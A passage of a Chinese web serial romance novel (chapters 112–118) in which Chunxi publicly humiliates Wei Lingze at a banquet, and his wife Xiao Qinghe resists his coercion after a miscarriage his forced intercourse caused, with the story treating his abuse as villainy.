她以为就算得不到全心全意的爱,她也能做好卫少夫人,可真的日日和卫凌泽相处,发现他身上再没有过去的半点儿痕迹,她才发现,这桩婚事变成了无比可怕的牢笼。 回忆太过美好,萧清禾又被刺红了眼,她深吸一口气压下泪意,偏头问春喜:“你觉得他现在和以前还有半点相似吗?” 春喜了然。 大侄女儿这是终于想通,发现卫凌泽这个狗东西的真面目了啊。 她自然不会帮卫凌泽说话,反而趁热打铁劝道:“人都是会变的,你不能一直沉溺在过去,而且他过去对你好,你对他难道不好吗,他都不顾念旧情,你凭什么还要惯着他?” 春喜摆明了是在挑拨离间,萧清禾却没有像上次那样维护卫凌泽。 春喜继续道:“我知道你顾全大局,不想连累族中其他姑娘的声誉,我不怕呀,我早就看不惯那个狗东西了,你受了什么委屈尽管告诉我,我帮你讨回来!” 春喜摩拳擦掌,一时激动,连狗东西都骂了出来。 萧清禾眨眨眼,有些怀疑自己听错了,但见春喜那副打定主意要为自己出头的模样,又觉得像是她能说出来的话。 狗东西? 这样听着好像还挺爽了。 毕竟那天在书房,卫凌泽对她做那些事确实很禽兽。 迟疑片刻,萧清禾问:“小婶婶与沈叔叔圆房了吗?” “这是自然的呀。” 春喜不假思索地点头,萧清禾捏紧绢帕,因为羞耻,声音压低了许多:“那小婶婶如果有不想的时候怎么办?” “不想就拒绝呀。” “如果沈叔叔不听呢?” 夫妻之事实在难以向外人诉说,萧清禾问完就后悔了。 她和春喜算不上多熟络,听春喜的语气还跟卫凌泽有仇,若是春喜借题发挥宣扬出去,卫萧两家的颜面难免受损。 萧清禾后悔不已,正想转移话题,春喜突然抓住她的手,严肃地说:“这种事,他若敢来硬的,就该阉了他!” 春喜语气坚定,眼底满满的都是心疼。 萧清禾满腔的顾虑瞬间消散,多日积压的委屈在这一刻奔涌而来,眼泪猝不及防地滚落,摧毁她全部的逞强和伪装。 萧清月一直注意着两人的一举一动,见阿姐哭了,连忙冲过来。 春喜把萧清禾摁入怀中,抢在萧清月之前开口。 “别嚷嚷,你阿姐没事,就是眼睛里不小心进东西了。” 第113章 我没听清,你过来些 毕竟不是在自己家,萧清禾很快压下情绪,恢复平静。 若不是她眼眶还湿润着,谁也看不出来她刚刚才哭过。 见萧清月一直防备地瞪着春喜,萧清禾低声开口:“月儿,好了,我真的没事,不许对小婶婶不敬。” “没关系,大家都是一家人,二侄女性情率真,出手还大方,我还挺喜欢的。” 春喜说着晃了晃自己腕间的玛瑙镯子。 萧清月本来已经收回了目光,听到这话又瞪向春喜,她刚想要回镯子,又听到春喜说:“二侄女放心,婶婶不会白收你的东西的,你就瞧好吧。” 春喜说完招来一个小丫鬟,让她去把卫凌泽叫来。 萧清月不悦地问:“你叫我姐夫来做什么?” “自然是有话跟他说呀,不然做什么,罚站吗?” 春喜拨弄着镯子,胸口成竹,萧清月还想追问,萧清禾抢先道:“我那里还有一只掐丝八宝的镯子,回去我就补偿给妹妹,如何?” 萧清月自然不会舍不得一只镯子,她有些吃味地说:“阿姐,你别总把我当小孩子哄,我们才是亲姐妹,曹春喜心眼儿多,你小心着了她的道。” “月儿,我跟你说过很多次了,她现在是我们的长辈。” 萧清月撇撇嘴,不吭声了。 萧清禾又哄了她一会儿,见春喜一直镇定自若,心里忍不住升起期盼。 小婶婶当真能帮她出气吗? —— 男宾席此刻也很热闹。 卫凌泽身份尊贵,如今又到了御前任职,不管去哪儿,都不缺人拍马屁,沈清渊刚破了徐州大案,也是眼下炙手可热的人物。 两人同时出现,自然都是众人争相攀谈的对象,众人以两人为中心分化成两个阵营,竟有种两人在打擂的感觉。 沈清渊还是和之前一样,态度不咸不淡,既不得意忘形,也不卑微讨好,只有在礼部的张大人与他商量婚礼事宜时,他脸上才带了笑。 “明日我会在家,大人可派人登门量尺寸,内子性子散漫,头冠和婚礼仪式都不用太繁琐,我怕累着她。” “这是自然,没想到沈大人竟然也有如此疼爱妻子的一面啊。” 那人感慨着笑出声,其他人也跟着附和,声音大了些,不可避免地传入卫凌泽耳中。 卫凌泽停下交谈,定定地看向沈清渊,目光颇为不善。 想讨好卫凌泽的太傅府四公子李继贤立刻反应过来,当即高声开口:“我记得沈大人之前还有两位夫人,其中一位最近还死而复生了,那位因为沈大人流落在外多年,沈大人却只念着新欢,会不会太绝情了点儿?” 李继贤在家行四,表面看着温润如玉,实则就是个不学无术的纨绔子弟。 他想求娶卫家小姐,靠着岳家扶持搞个闲差做做,第一个要讨好的就是卫凌泽这个大舅子。 沈清渊眼下虽然立了功,但背靠的毕竟是个只有空架子的侯府。 若是得罪沈清渊能换来卫凌泽的青眼,这笔买卖还是很值得的。 李继贤迅速在心里算好账,只等着和沈清渊唇枪舌剑好好表现一番,谁知沈清渊根本没有要理会他的意思。 “内子已经出嫁,到时就不必再回娘家接亲了,仪仗队直接从侯府出发,在城中转一圈再回来就好,时间也不用太早,我想让她多睡会儿。” 沈清渊仍和张大人商量着婚礼细节,虽没有什么甜言蜜语,却字字都是对夫人的宠爱。 他毫不理会流言蜚语,倒显得方才说话的李继贤像个只会嘴碎的市井小民。 李继贤沉了脸,朝着沈清渊走了两步,语气不善道:“沈大人怎么不回答,是心虚不敢应声还是年纪大了耳背听不清?” 后面半句是在讽刺沈清渊年纪大,这话戳中卫凌泽的笑点,卫凌泽噗嗤一声笑了出来。 想要讨好卫家的人立刻跟着笑起,李继贤得到鼓励,气焰越发嚣张。 他还要再开口挑衅,沈清渊淡淡开口:“我刚刚确实没太听清,麻烦李公子走近些再说一遍。” 李继贤叉着腰朝沈清渊走去:“我说沈大人之前还娶过两任妻子,为何独独……” 李继贤话没说完,脸上就狠狠挨了一拳。 沈清渊出拳极快,身子甚至没动,李继贤就被一拳揍飞,两颗大牙混着血在空中划出弧线。 沈清渊揉揉手腕,居高临下地睨着李继贤:“这句我听清了,我说的是你问我是不是年纪大了耳背那句。” 李继贤脑瓜子嗡嗡的,根本听不清沈清渊说了什么,只觉得他周身气压强得可怕,再来一拳就能送他去见阎王,一时竟连疼都不敢喊。 围观众人亦是没想到沈清渊会突然出手打人,这可是太傅府啊,他作为客人竟然打了太傅的孙儿,这合理吗? 太傅府的下人连忙去把李继贤扶起来,身边有了人,李继贤这才哇的一声哭出来。 “沈清渊,这可是我家,你敢打我,我要让你今天横着走出太傅府!” 缺了两颗牙齿,脸又肿得老高,李继贤说话漏风,除了他自己,根本没有听清他说了什么,更谈不上威胁。 卫凌泽这个时候倒是走出来主持公道:“沈大人,虽然你才破了大案立下大功,但在太傅府动手,会不会太目中无人了点儿?” 沈清渊转动手腕的动作一停,掀眸看向卫凌泽:“卫大人说什么,我没听清,麻烦过来些。” 众人:“……” 刚刚李继贤就是这么被打的,沈大人你还来,当人家傻呢? 卫凌泽当然不傻,只是他不上前去,倒像是怕了沈清渊。 可他跟沈清渊交过手,若是上前,不一定能打得过,那样更丢人。 卫凌泽一时进退不得,气氛正僵滞,偏偏这时人群里有个大聪明大声喊道:“卫大人,你可千万别上他的当,姓沈的憋着坏水要揍你呢。” 卫凌泽:“……” 众人:“……” 不会说话就闭嘴吧。 卫凌泽当初可是以战功闻名的少年将军,人家的身手能比沈清渊差吗? 你这话说的好像人家只有挨打的份一样。 众人虽然都觉得卫凌泽不会输,但目光不自觉在卫凌泽和沈清渊之前流转。 卫凌泽毕竟瘫痪在床三年,如今的身手还有以前好吗? 要是动起手来,沈清渊真的敢打卫凌泽吗? 第114章 当众下跪,斟茶认错 气氛烘到这儿了,卫凌泽骑虎难下,正想再跟沈清渊切磋一下,有小丫鬟来报:“卫少爷,卫少夫人的娘家人请你去花园一趟,她有事要跟你说。” 禾儿的娘家人? 今天没听说岳母会来呀,难道是萧清月? 可月儿从来都是叫他姐夫,怎会以禾儿的娘家人自居? 卫凌泽觉得不太对劲,但这小丫鬟的通传倒是解了他眼下的困局,他意味深长地看了沈清渊一眼,跟着小丫鬟走了。 卫凌泽一走,气氛顿时缓和下来,众人还想说些什么,却见沈清渊也提步朝花园方向走去。 张大人连忙拦住沈清渊:“沈大人,得饶人处且饶人,今日毕竟是太傅府设宴,你好歹给主人家一点儿面子。” 打完人家孙子,还要追着客人打,哪有这样的道理? 知道张大人是好意,沈清渊淡淡解释了句:“我不干什么,只是有些担心内子不适应,想去看看她。” 哪有这么巧,人家去看夫人,你也去? “沈夫人才得了皇后娘娘的夸奖,不会有什么事的,沈大人还是再好好与我说说婚礼事宜吧。” 张大人打定主意不能放沈清渊走,硬拉着沈清渊到角落坐下。 很快,卫凌泽来到花园。 见春喜和她们坐在一处,卫凌泽眼底闪过意外。 在一众夫人小姐艳羡的目光注视下,卫凌泽大步朝三人走去。 一看到他,萧清禾的脸就冷了下去,萧清月倒是还和之前一样跟他打招呼:“姐夫。” 卫凌泽颔首,好奇地看着萧清月:“月儿让人叫我过来有什么事吗?” “不是我,是小婶婶让人叫姐夫过来的。” 萧清月立刻否认。 在见到春喜的时候,卫凌泽就隐隐猜到这件事可能和她有关,他当即侧目看向春喜。 这次去徐州春喜并未吃什么苦,人没晒黑,反而还胖了一些,脸圆润了些,整个人多了两分为人妻的温婉柔美。 和在卫家做丫鬟的时候,气质已是大不相同了。 这会儿近距离细看,她周身的灵动活力更是扑面而来. 自那日在书房和萧清禾闹了不愉快,萧清禾就再没有让卫凌泽近过身,在他面前也总是死气沉沉的,纵然容颜绝美,卫凌泽每每想起都只觉得晦气。 这会儿看到春喜生机勃勃的样子,卫凌泽不免有些心痒。 这样的春喜,本该是他的。 春喜贴身伺候了卫凌泽三年,对他的细微表情还算了解,被他看得有点儿恶心,喝了口茶压了压反胃的感觉,这才悠悠开口:“我回家后,听婆母说,侄婿曾到我家当着沈家的人说你叔叔所托,要好好照顾我这个小婶婶,今日既然碰上了,我想当面问问侄婿为什么要说这样的话?” 春喜嗓门儿亮,且中气十足,众人闻言顿时止了声,全都侧目朝这边看过来。 卫凌泽面色一沉。 那日他根本不知道春喜已经跟沈清渊一起去了徐州,在身家众人面前颜面尽失,沈清越明明保证会让沈家众人守口如瓶,他没想到春喜一回来就知道了这件事,还趁着今日这样的机会故意发难。 “小婶婶,那日的事是个误会,我已经跟沈家的人说清楚了。” “说清楚了?你是怎么跟他们说的?我一回来,我婆母就指着我的鼻子骂我不守妇道,是个不要脸的小娼妇,你如此败坏我的名声,让我以后还怎么活?” 春喜的声音一句比一句高,而且满是悲愤和委屈,卫凌泽方才那点儿心悸全都变成了心梗。 他当即喝止春喜:“你到底想怎么样?” 春喜不要脸,但他要。 他不能让别人知道他对已为人妇的春喜念念不忘,甚至还存着隐秘的龌龊心思。 卫凌泽想要息事宁人,春喜当即道:“也不怎么样,你跪下给我斟茶认个错,这件事就算过去了。” “你休想!” 卫凌泽当即否决。 男儿膝下有黄金,怎能轻易下跪? 更何况春喜身份低微,当初在卫家是给他端屎端尿的,他怎可能当众向春喜下跪? 卫凌泽话音刚落,春喜就起身,一脚踩上凉亭靠椅,抱着柱子哭喊起来。 “我没脸活下去了,我本就出身低微,被婆家看不起,侄婿还莫名其妙造我的谣,过去三年他屎拉裤兜,都是我帮他擦屎擦屁股的,半夜他突然尿裤子,也是我忙前忙后的帮他清理,现在他这样对我,简直是恩将仇报啊……” 春喜丝毫不觉得自己以前照顾卫凌泽有什么丢人的,说起卫凌泽屎尿失禁更是粗鲁直白,在场的女眷皆被她这一番话惊呆。 虽然卫凌泽身份尊贵,还容貌俊美,但屎尿失禁这种事,听起来真怪让人恶心的,尤其是他跟萧清禾站在一处,众人都不自觉可怜起萧清禾来。 总觉得卫凌泽脏脏的,身上还有味道,不太能配得上萧清禾。 卫凌泽太阳穴突突地跳,眼神森然地瞪着春喜,周身杀气凛然。 当初放春喜离开的时候,他怎么没有毒哑她? “我活不了了,你们别拦着我,让我去死,若是死在这里不吉利,我就吊死在卫家大门口去……” 春喜才不管卫凌泽怎么看自己,一声比一声嚎得大,完全掌握了莫芸婉寻死的精髓,却比莫芸婉更强。 她只干嚎,不寻死。 再让她这样闹下去,明天全瀚京就都知道卫凌泽造自家小婶婶的谣,逼死长辈了。 在众人惊异的目光注视下,卫凌泽咬牙开口:“闭嘴,别哭了,我跟你道歉!” 春喜的哭声戛然而止,却还抱着柱子没放:“是下跪道歉吗?有诚意的那种吗?” “是!” 卫凌泽的拳头捏得咯咯作响,恨不得当场掐死春喜,但为了颜面,只能咬牙忍下。 顶着卫凌泽要吃人的目光,春喜麻溜地下来在萧清禾身边坐好,又吩咐丫鬟去端茶水来。 尹氏在一旁看得心惊肉跳,虽说春喜现在占着一个小婶婶的名头,但毕竟出身低卫凌泽很多,让卫凌泽当众下跪,这不是打卫家的脸吗。 尹氏忍不住看向萧清禾:“禾儿,这件事说到底只是误会,你能不能劝劝你小婶婶,不要太计较?” 听到这话,卫凌泽也看向萧清禾,萧清禾垂着眼睫,避开了他的目光,淡淡道:“女子名节极其重要,只因夫君一句话,就让小婶婶在婆家无端遭受指责,夫君确实应该向小婶婶道歉。” 春喜重重点头,笑眯眯地看着尹氏:“夫人未经我苦,莫要劝我大度,我这个人出身不高,心眼儿最是小了,受不得半点儿委屈。” 春喜说完,看向卫凌泽:“茶水再放就凉了,侄婿可以跪下了。” 第115章 卫凌泽,你再碰我一下试试 春喜这一哭二闹三上吊,完全是泼妇行径,但很管用。 在众目睽睽之下,卫凌泽缓缓屈膝跪了下去。 众人震惊到甚至有点儿不敢看。 这位沈夫人也太能闹了吧,胆子还大,竟然敢让卫凌泽当众下跪,她这不是给她家夫君拉仇恨吗,就不怕卫家以后处处针对她夫君,让他们在瀚京待不下去吗? 众人不敢看,春喜却敢。 她就喜欢看卫凌泽恨得咬牙切齿,却又不敢动自己一根毫毛的样子。 过去三年,她过得战战兢兢,生怕一个不留神就惹恼了他丢了性命,如今看他不甘不愿还要跪在自己面前,心里只觉得一阵痛快。 高高在上的卫家大少爷可曾想过有一日会向她这样的人跪地臣服? 萧清禾就坐在春喜旁边,虽然卫凌泽这一跪不是因为她,可看着这个男人被当众折辱,她一点儿也不觉得心疼,只觉得痛快。 那日在书房受到的屈辱和伤害,在这一刻终于有了一点释怀. 她想,她是真的不爱这个人了。 过去他们有过那么多美好的回忆,都被他亲自葬送在了书房。 他也不配再得到她的爱。 下人战战兢兢地把茶递给卫凌泽,卫凌泽接过递给春喜:“小婶婶,请喝茶。” 小婶婶三个字卫凌泽咬得又重又狠,像是要从春喜身上咬下一块肉来。 今日之辱,他记下了,并且日后会加倍讨还。 等春喜落到他手中,他有无数种方式折磨她,让她后悔今日的所作所为。 卫凌泽眼底恶意满满,春喜挑了下眉,故意大声道:“侄婿的眼神好可怕,若你不是诚心道歉就算了,我怕你因为这点儿小事耿耿于怀,日后还要报复我,我一个弱女子,岂是你的对手?” 众人:“……” 你可是逼得卫家大少爷当众下跪的人,到底哪里弱了? 而且人家都跪下了,这个时候你才说算了,这不是逗人玩儿吗? 众人腹诽,卫凌泽亦是恨到极致,但为了尽快结束这场闹剧,卫凌泽还是强迫自己收敛了气息,放软语气开口:“之前是我口无遮拦,害了小婶婶,今日我在这里诚心向小婶婶道歉,我错了,请小婶婶大人有大量,莫要与我这个晚辈计较。” 每一个字,都是卫凌泽从牙缝里挤出来的。 春喜这才露出笑容,接过茶幽幽道:“这件事可大可小,还好夫君待我极好,并不介意,既然侄婿都这样诚恳的道歉了,那我就看在禾儿的面子上算了吧。” 春喜说完,将那杯茶一饮而尽。 这晚辈敬的茶,就是格外香甜啊。 事情到此结束,卫凌泽一刻也不想待,冷着脸离开。 众人面面相觑,皆是不敢说话,默默离春喜远了些,生怕不小心招惹到她。 萧清月在震惊之后迅速反应过来,阿姐从头到尾都由着曹春喜胡闹,没帮姐夫说一句话,定然是在姐夫这里受了天大的委屈才会如此。 所以曹春喜刚刚是在帮阿姐出气吗? 想通这一点,萧清月看春喜的眼神变了,嘴上却道:“你这个人行事真是没有规矩,这抓周仪式马上就要开始了,万一耽误了主人家的正事怎么办?” 曹春喜要帮阿姐出气应该跟她好好商量一番慢慢来才是啊,这样莽撞着来,万一让阿姐也下不来台怎么办? 萧清月心里挑着刺,但更多的还是对这个小婶婶的改观。 虽然她还是瞧不上曹春喜,但曹春喜愿意为阿姐出头,还不会破坏阿姐和姐夫的关系,那她就勉勉强强认下这个小婶婶吧。 春喜没有解释,只向尹氏说了抱歉。 尹氏也看出一点儿苗头,她是萧清禾的手帕交,自然是站在萧清禾这头的,并未怪罪春喜。 抓周仪式很快开始,众人都聚到前院。 沈清渊第一时间来到春喜身边,低声问:“可有发生什么?” 春喜凑到他耳边,飞快地把刚刚发生的事说了一遍:“夫君是没看到刚刚他的脸色有多难看,实在是太解气了。” 春喜相当得意,像是打了个大胜仗,沈清渊跟着染上笑意,附和道:“夫人真厉害。” 两人附耳说着话,落在外人眼里亲密粘腻极了。 萧清禾看了一眼,眸底闪过黯然,很快又打起精神,拉着萧清月去了尹氏身边。 卫凌泽憋着一肚子火守在太傅府外,好不容易等到宴席结束,等萧清禾和萧清月分开,立刻冲上萧清禾的马车,还把雀枝赶下去:“我有话要单独跟少夫人说,你自己想办法回家!” 说完放下车帘,命令车夫驾车而去。 说这话时,卫凌泽的脸色很是可怕,雀枝担心萧清禾会受伤,咬咬牙,提着裙摆追上萧清月的马车。 萧清月当即就要让车夫去追两人,被墨韵拦下:“二小姐,你毕竟尚未出阁,不好直接插手大小姐和姑爷之间的事。” “那我也不能看着阿姐受欺负啊。” 墨韵看了雀枝一眼,试探道:“今日发生的事挺多的,不如我们先带雀枝回家见夫人?” 若是姑爷真的待大小姐不好,还得夫人出面才行。 雀枝也怕萧清月冲动行事,连忙点头:“奴婢也觉得先回家告诉夫人比较好。” 与此同时,马车上。 卫凌泽把萧清禾抵在马车壁上,冷冷质问:“禾儿,你我夫妻一体,荣辱与共,为何今日要吃里扒外、联合外人设局?” 憋到现在,卫凌泽早已是怒火万丈,说出来的话冷森森的,难听且直白。 萧清禾定定地看着他:“那日你在书房折辱我时,可曾想过你我是夫妻?” “阴阳交合是人之常情,我是爱你才会情不自禁,你还要揪着这件事闹到什么时候?” 卫凌泽很不耐烦,只觉得萧清禾在无理取闹。 这世上哪有妻子不让丈夫碰的? “我说了我不愿意,你那就是在强迫折辱我!” 直到现在,再说起这件事,萧清禾仍控制不住微微发抖,带着恨意。 “你有愿意的时候吗?自从我们成婚,你给过我几日好脸色?” 卫凌泽再也控制不住怒火,一边说话一边粗鲁地去拽萧清禾的衣摆。 这是在马车上,外面都是人! 比那日在书房强烈千倍万倍的屈辱感袭来,萧清禾脸上血色尽褪,猛然拔下头上的发钗抵在喉咙。 “卫凌泽,你再碰我一下试试!” 第116章 没了个孩子 萧清禾太激动,手上失了力道,脖子被刺破,顿时涌出血来。 卫凌泽眼瞳一颤,连忙退开:“禾儿,你别冲动,我不碰你了。” 两人私下不管怎么闹,只要不让别人看出来就行,但如果萧清禾身上带了伤,他娘第一个就饶不了他。 更何况萧家男丁还不少。 意识到情况严重,卫凌泽总算冷静下来,语气也跟着放软:“刚刚是我犯浑,我跟你道歉,你先把钗子放下,让我看看你伤得重不重。” 卫凌泽说着朝萧清禾伸出手,萧清禾没有感动,反而把发钗抓得更紧:“别碰我,我不用你关心。” 萧清禾浑身上下都透着抗拒,卫凌泽怕刺激她,只能作罢,心里却重新审视起沈清渊和春喜来。 春喜没有回来之前,萧清禾只是不理他,怎么今天两人一碰面,萧清禾就变成了这样? 是春喜跟她说了什么,还是沈清渊察觉到了什么,故意让春喜来挑唆他们的夫妻关系? 不管是哪一种可能,都不能再放任春喜这样胡闹下去了。 一回到卫家,萧清禾就迫不及待地跳下马车,冲回凌枫院。 卫凌泽本想跟上,门房拦住他:“大少爷,夫人请你回来后务必去主院一趟。” 自萧清禾过门,卫夫人就开始放权让她管家,也很少过问他们小两口的事,突然非要让卫凌泽去主院,肯定是有重要的事。 卫凌泽当即掉转步子去往主院。 “娘,发生什么事了……” 卫凌泽刚进门,一个杯子就砸了过来。 卫凌泽侧身避开,虽然没被砸到,衣服上还是溅到了茶水。 云氏坐在主位,怒不可遏,屋子里的丫鬟婆子亦是噤若寒蝉。 “你们都退下,”卫凌泽下令,等屋子里安静下来,才走到云氏面前,“谁惹娘生气了,娘怎么发这么大的火?” 云氏瞪着卫凌泽,面沉如水:“那得问你做了什么好事!” 云氏持家多年,见惯了大风大浪,若不是真的知道了什么,绝不会如此大动肝火。 卫凌泽心头一凛,仔细回忆起最近的事来。 他对春喜和沈清渊做那些事向来隐秘,连行舟这个贴身随从都不知道,云氏更不可能知晓,最大的可能是云氏知道他和萧清禾最近在分房睡。 这般想着,卫凌泽开口:“我和禾儿最近是拌了几句嘴,但我很快就会解决的,娘不用担心。” “为什么拌嘴?” 云氏追问。 她早就把萧清禾当半个女儿看待,萧清禾温柔大方,过门后接手掌家之事也井井有条,并不是会任性耍小性子的人。 云氏瞪着卫凌泽,满眼怀疑。 卫凌泽随口编了个理由:“也没什么,就是新婚燕尔,我缠她缠得太狠,她有些不高兴。” 初尝情滋味的毛头小子,哪个不是如狼似虎的,云氏还急着抱孙子,更不会因此责怪他了。 卫凌泽本以为这个话题能就此揭过,下一刻却听到云氏冷沉沉的声音:“所以你强迫禾儿了?” 云氏的语气很严肃也很笃定,卫凌泽顿时变了脸色:“是谁在娘面前嚼舌根了吗?” 萧清禾过门后,凌风院几乎都是她的陪嫁丫鬟和婆子,卫凌泽第一反应是这些人故意告状。 只认萧清禾做主子的奴才,不能留在凌风院。 卫凌泽迅速在心里盘算着要如何清理掉这些嘴不严的下人,云氏见状越发生气,忍不住站起来给了他一巴掌。 “混账东西,没人跟我告状,若不是我今日身子不适,请了回春堂的大夫看诊,都不知道禾儿竟然没了个孩子,你还想欺负禾儿到什么时候?” 云氏这一巴掌打得很重,卫凌泽耳中一片嗡鸣,过了好一会儿才找回自己的声音:“娘你刚刚说什么?” “我说禾儿小产了,大夫说孩子月份还小,胎像不稳,是强行同房导致的!” 云氏气得声音都有点儿抖。 之前卫凌泽瘫痪在床,云氏既怕他站不起来,又怕他连个子嗣都不能留下,所以才会在他们成婚后催着要孩子。 可她没有想到这个孩子才刚怀上,就被卫凌泽害没了。 两人都还年轻,好好调养肯定还能有孩子,可卫凌泽干出这样混账的事,只怕禾儿心里已经有了裂痕,夫妻感情怎可能和好如初? “你和禾儿青梅竹马,自幼感情就好,这三年她为了等你也承受了许多压力,如今好不容易成婚,你该好好珍惜她才是,为什么要如此对她?” 云氏百思不得其解,眼眶一阵发红,既心疼那个孩子,也心疼萧清禾。 禾儿可是萧家引以为傲的掌上明珠,若是让萧家知道禾儿在卫家遭受这样的事,这桩婚事还能继续下去吗? 云氏能想到的,卫凌泽自然也想到了,他肃然道:“之前是儿子混账,儿子这就去向禾儿赔罪,不管用什么办法,儿子一定会求得她原谅,娘不用担心。” “娘怎么能不担心,禾儿她不是寻常人家的姑娘,你怎能强迫她,而且小产伤的不只是禾儿的身体,还有她的心,你让她如何原谅?” 云氏也是有女儿的人,如果她的女儿在新婚后被如此对待,别说女婿,就是亲家一家她也不会放过! 卫凌泽跪在云氏面前:“娘,现在萧家还不知道这件事,说明禾儿对我还是有感情的,娘你帮帮儿子,儿子现在真的醒悟了,以后都会对禾儿好的,儿子不能失去她。” 卫凌泽说着也红了眼,悔恨万分。 云氏到底还是心疼儿子,她叹了口气说:“这次禾儿定然是伤透心了,她不会轻易原谅你,但不管她是打你还是骂你,你都要受着,更要加倍关心体贴她,知道吗?” “儿子明白。” 出了主院,卫凌泽立刻去往凌风院,和之前不同,今天凌风院的院门紧锁着,昭示着萧清禾的抗拒。 卫凌泽足尖一点,轻松翻过院墙进了院。 “大少爷,少夫人累了已经睡下了,有什么事改日再说吧。” 萧清禾是带着伤回来的,凌风院的丫鬟婆子看到卫凌泽都如临大敌,卫凌泽没有理会,径直朝屋里闯去。 第117章 该赎罪的人是你 卫凌泽强行闯入萧清禾房中,还锁上了门,一众丫鬟婆子在外面急得团团转。 “姑爷,你开开门,有什么话好好说,别伤害少夫人。” “少夫人,你还好吗?要奴婢去请夫人来吗?” 屋里,萧清禾刚包扎好脖子上的伤,换了身轻便的衣服躺在美人榻上,见卫凌泽硬闯进来,她复又抓起发钗抵住喉咙:“滚出去!” 马车上的事实在让她恶心,并且到现在还心有余悸,她不想看到卫凌泽。 知道她小产的事后,卫凌泽没了之前的急躁,即便听到萧清禾让他滚,他也还是温和开口:“我只是想跟你说几句话,说完我就走。” “我们之间没什么好聊的。” “那孩子呢,你忍心让它就这样变成孤魂野鬼?” 萧清禾手抖了一下,到底还是被戳中软肋,片刻后,她放下发钗,对外面的人说:“我没事,你们退下吧。” 屋外这才安静下来。 卫凌泽朝萧清禾走近了些:“那也是我的孩子,你怀孕了为什么不告诉我,如果你说了,那天在书房,我就不会那样对你。” 卫凌泽的语气还是温和的,却明显带着责备。 萧清禾虽然已经对他失望透顶,听到这话却还是气得笑出声来。 “我也是刚成婚不久,并不知道自己有了身孕,只以为天气太热,胃口不好,我明明跟你说了我不想吃淮南菜,你却还是花重金让人做了那些菜,我也跟你说了我不愿意,你却还是强行折辱了我,你根本不在意我这个人,还会在乎我肚子里的孩子吗?” “我当然在意你,我刚刚说了,那天我只是有些失控。” 卫凌泽毫不犹豫,萧清禾冷冷开口:“你亲手扼杀了我腹中的孩子,这就是你的在意!” “我当时根本不知道你怀了孩子,如果知道我肯定不会……” 卫凌泽试图辩解,萧清禾直接打断他:“所以你是来找我吵架的吗?” 卫凌泽哑然,抿了抿唇说:“我是来赎罪的,你可以打我骂我,但别把气憋在心里,我让人进宫请了御医,你需要好好调养身子。” 萧清禾当然不会拿自己的身体开玩笑。 她没有拒绝御医帮自己看诊,只低声道:“我不打你也不骂你,你如果真的觉得自己对不起那个孩子,就亲自去云山寺抄往生咒送他一程。” 孩子是无辜的,她希望这孩子下次能投个好胎。 至于她,这条路是她选的,眼下这些都是她活该,她认了。 萧清禾能提出要求,卫凌泽自然会满足的,他点点头说:“我明日就去告假,我们可以一起去云山寺。” “该赎罪的人是你,我为什么要去?” 萧清禾反问,眼底是尖锐的恶意,她现在一点儿也不想跟卫凌泽单独待在一起,卫凌泽只能让步:“好,我自己去,你在家好好休养,等我回来再慢慢跟你道歉。” 萧清禾不再接话,又恢复之前的死气沉沉。 虽然已经知道缘由,卫凌泽还是觉得气氛安静压抑到让他烦躁不已,他不想再在萧清禾面前失控发火,打开门离开。 来到书房,他冷声吩咐行舟:“我要去云山寺几天,找几个可靠的人看着少夫人,若是萧家来人或是少夫人有什么异常,立刻飞鸽传书通知我。” “是。” 行舟退下后,卫凌泽枯坐在书桌前想了很多,有他和萧清禾过去十几年的情谊,也有春喜过去三年照顾他的点点滴滴。 成婚这段时日他确实对萧清禾很不好,就算他因为萧家当初延迟婚礼心存芥蒂,也不能这样对待萧清禾,毕竟萧清禾身份尊贵,有着贵女的矜持,不像春喜,可以任他拿捏。 是春喜打乱了他。 如果春喜一直留在府中,他只需要给春喜一个名分,然后宠着春喜,就足够报复萧清禾了。 春喜在卫家的时候很识时务,不管他想在哪儿对春喜做那样的事,她应该都会配合,而且她体力好,在那种事上肯定不像萧清禾这样死板。 更重要的是,春喜会喝避子汤,不会因为子嗣惹出麻烦。 想到最后,卫凌泽满脑子都只剩下春喜的名字。 他像是魔怔了一般,只想杀了沈清渊,夺回春喜。 唯有如此,他才能压下心底的躁郁,变成以前那个高贵得体的卫家大少爷。 —— 雀枝傍晚才被萧夫人派马车送回卫家。 一进院,她就听说卫凌泽硬闯了萧清禾的屋子,连忙冲进屋查看萧清禾的情况。 萧清禾早已平复了情绪,正在翻看账簿,见她回来柔柔开口:“怎么这么晚才回来,可是发生什么事了?” 雀枝扑通一声跪下:“奴婢当时害怕姑爷伤害少夫人,就去追了二小姐的马车,然后二小姐把奴婢带回家见了夫人。” 雀枝的身契虽然在萧清禾手上,但自幼在萧家长大,萧夫人要逼问她萧清禾的近况,她不能不答。 萧清禾早有预料,只问了一句:“孩子的事,你也说了?” 雀枝连忙摇头:“这件事奴婢只字未提,但姑爷近来冷落少夫人的事,奴婢都说了。” 萧清禾小产的很突然,而且还是因为强行同房导致的,整个凌枫院,也只有雀枝知情,这件事一旦说出来,两家可能会反目成仇,雀枝知道轻重,守口如瓶。 萧清禾松了口气,把雀枝扶起来:“今日之事不怪你,你做得很好,母亲这些年已经为我操了太多的心,我不想再让她担心,而且卫凌泽已经知道这件事,明日还会去云山寺为那孩子超度起伏,这件事以后就不要再提了。” “是,奴婢明白。” 雀枝连连点头,又听到萧清禾说:“小婶婶因为卫郎在侯府受委屈了,你找人送一百两金到侯府,就说是我的一点儿心意。” 白日春喜在太傅府闹那一出,雀枝也隐隐看出她是为萧清禾闹的,这会儿听到萧清禾的话更是笃定,当即点头:“奴婢明白,奴婢一定让人当面交给沈少夫人。” 第118章 我以为你丢下我跑了 萧夫人的请帖和萧清禾的一百金是前后脚送到侯府。 门房本想直接拿给莫氏,但两家的人都很执着,必须当面把东西给春喜,门房也不能把人拦在外面,只能先把人引到问心院,再去向莫氏禀报。 莫氏的身子其实已经大好,但沈清宇连云氏族学都没去,天天在家闹绝食,她不敢好起来,只能继续称病。 听到萧家又是给春喜送金子,又是送请帖的,她眼红嫉妒的不行,当即要把春喜叫来问话,贾嬷嬷却扑了个空。 “夫人,少夫人一接到帖子就出门去萧家了。” “我才病了几日,她眼里就没有我这个侯府主母了。” 莫氏冷哼,找不到春喜,只能把沈清迟叫来询问,听说春喜在太傅府大闹一通,还让卫凌泽下跪斟茶,莫氏险些一口气没上来。 “这个女人是疯了吗,她把家里闹得不安宁也就罢了,竟然还跑去太傅府丢人现眼,还把卫家大少爷给得罪了,你当时怎么不拦着她,你不知道你二哥跟卫家大少爷是好朋友吗?她在太傅府这样闹,你让太傅夫人怎么看你?” 